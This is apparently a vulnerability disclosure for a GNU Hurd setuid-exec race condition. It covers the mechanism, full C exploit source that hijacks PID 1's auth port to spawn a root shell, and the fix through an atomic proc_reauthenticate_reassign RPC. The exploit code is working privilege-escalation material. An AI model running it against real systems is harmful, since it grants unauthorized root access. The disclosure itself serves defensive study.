Short description ================= When trying to exec a setuid executable, there's a window of time when the process already has the new privileges, but still refers to the old task and is accessible through the old process port. This can be exploited to get full root access to the system.
Background: setuid exec ======================= setuid is of course the Unix mechanism for raising privileges, whereby a process, upon executing a specially-marked executable file, is given the privileges of the owner of the file (typically root). On the Hurd, this is implemented as follows: * A process wishing to exec an executable file calls file_exec_paths () on the file, effectively asking the translator that provides the file to call exec_exec_paths () on the task. * If the translator wants to implement setuid behavior for the file, it reauthenticates the process and the provided I/O ports (file descriptors and cwd) to the new set of UIDs. * The translator calls exec_exec_paths (), passing the new ports to the exec server along with the EXEC_SECURE flag. The EXEC_SECURE flag instructs the exec server to load the executable into a fresh new task that's not accessible to the original task, instead of reusing the same task as it does otherwise. (Technically, that's what EXEC_NEWTASK, which is implied by EXEC_SECURE, does; EXEC_SECURE enables some additional tweaks on top of that.) * If loading the executable into the new task succeeds, the exec server calls proc_reassign (), which kills off the old task, assigns the new task to the process, and also invalidates the old process port (the process port created for the new task becomes the new port of the process). As far as the Mach personality of the system is concerned, this is a fresh new task with a fresh new process port; but since it keeps all the process state, from the Unix point of view it's still the same process, only running a new executable. The use of a fresh task (and recreation of the process port) is necessary because unprivileged processes have access to the task and process port of the original process; they would get access to the new privileged process if the task and/or process ports were kept valid. Please note that the exec server is (almost) not involved in the actual process of changing UIDs, that's entirely up to the translator to do -- and translators could implement different semantics than Unix setuid. The issue ========= The reauthenticated I/O ports are only given out to the new task if the exec succeeds. But reauthenticating the process does not create a new reauthenticated process, it only changes authentication of the same process. The process is still accessible to the process itself, and to anyone else who has access to the task or process port. Some time later, if the exec succeeds, the task is killed and the process port is invalidated. During the window of time between these two events, the process is still accessible through the old task and process ports, but already has the new (root) privileges. Moreover, this window of time can be easily made arbitrarily long, since the translator (specifically, the exec_reauth () function in libshouldbeinlibc) proceeds to reauthenticate the cwd port after reauthenticating the process. So by the time a io_reauthenticate () request is received on the cwd port, the process should already be reauthenticated, _and_ we know the process port won't be invalidated before io_reauthenticate () returns. The exploit =========== We create two tasks, one that will set its cwd to a fresh port (which only has to _not_ reply to the incoming message) and start to exec a setuid executable; the other task will get access to the process of the first task and wait until that process is given root privileges (as far as the proc server is concerned). >From here on, it's simple to get actual full root access (that is, a root auth port). We get access to a task of some process that already runs as full root (I chose PID 1), and just ask it nicely to give us its auth port using msg_get_init_port (INIT_PORT_AUTH). Exploit source code =================== #include <stdio.h> #include <error.h> #include <hurd.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <hurd/paths.h> #include <hurd/msg.h> int main () { error_t err; pid_t child_pid; process_t child_proc; task_t pid1_task; mach_port_t pid1_msgport; auth_t root_auth; child_pid = fork (); if (child_pid < 0) error (1, errno, "fork"); if (child_pid == 0) { file_t fake_cwdir; sleep (1); err = mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE, &fake_cwdir); if (err) error (1, errno, "mach_port_allocate"); err = mach_port_insert_right (mach_task_self (), fake_cwdir, fake_cwdir, MACH_MSG_TYPE_MAKE_SEND); if (err) error (1, errno, "mach_port_insert_right"); _hurd_port_set (&_hurd_ports[INIT_PORT_CWDIR], fake_cwdir); execlp ("su", "su", NULL); error (1, errno, "execlp"); } err = proc_pid2proc (getproc(), child_pid, &child_proc); if (err) error (1, err, "pid2proc"); sleep (2); err = proc_pid2task (child_proc, 1, &pid1_task); if (err) error (1, err, "proc_pid2task"); err = proc_getmsgport (child_proc, 1, &pid1_msgport); if (err) error (1, err, "proc_getmsgport"); /* Kill the hanging child task, we no longer need it. */ kill (child_pid, SIGKILL); err = msg_get_init_port (pid1_msgport, pid1_task, INIT_PORT_AUTH, &root_auth); if (err) error (1, err, "msg_get_init_port"); fprintf (stderr, "Got root auth port :)\n"); err = setauth (root_auth); if (err) error (1, err, "setauth"); if (setresuid (0, 0, 0) < 0) error (0, errno, "setresuid"); if (setresgid (0, 0, 0) < 0) error (0, errno, "setresgid"); execl ("/bin/bash", "/bin/bash", NULL); error (1, errno, "failed to exec bash"); } Notes ===== Actually, the situation is more complicated due to the "process owner" feature. This feature turned out to itself cause problems and vulnerabilities, so I ended up removing it altogether. The patch [0] has more details. [0]: https://salsa.debian.org/hurd-team/hurd/-/blob/4d1b079411e2f40576e7b58f9b5b78f733a2beda/debian/patches/0034-proc-Use-UIDs-for-evaluating-permissions.patch The setuid exec implementation is naturally a promising target to attack, since it involves raising privileges, and implementing _that_ correctly can be problematic even in monolithic systems -- typically, some sort of ptrace access would not be invalidated atomically with raising privileges. Here are two examples of that in SerenityOS [1] [2], and here's a XNU vulnerability [3] involving setuid exec and task ports. This only becomes more challenging to do correctly in a distributed system like the Hurd, as several pieces of state, kept by various servers, all need to be updated as a part of setuid exec. [1]: https://hxp.io/blog/79/hxp-CTF-2020-wisdom2/ [2]: https://github.com/SerenityOS/serenity/issues/5230 [3]: https://googleprojectzero.blogspot.com/2016/03/race-you-to-kernel.html It is quite likely that there still are more undiscovered issues in the setuid exec implementation. How we fixed the vulnerability ============================== I've made the case that all the three actions that the process server does: * reauthenticating the process * assigning a new task to the process * invalidating the old process port have to be done atomically. Making any one of them earlier (or later) than others opens up a possibility for exploitation. To this end, we've introduced a new RPC to do all three atomically: /* Change the current authentication of the process and assign a different task to it, atomically. The user should follow this call with a call to auth_user_authenticate. The new_port passed back through the auth server will be the new proc port. The old proc port is destroyed. */ simpleroutine proc_reauthenticate_reassign ( old_process: process_t; rendezvous: mach_port_send_t; new_task: task_t); The exec server and exec_reauth () have then been updated to call this new RPC instead of the old proc_reassign () and proc_reauthenticate ().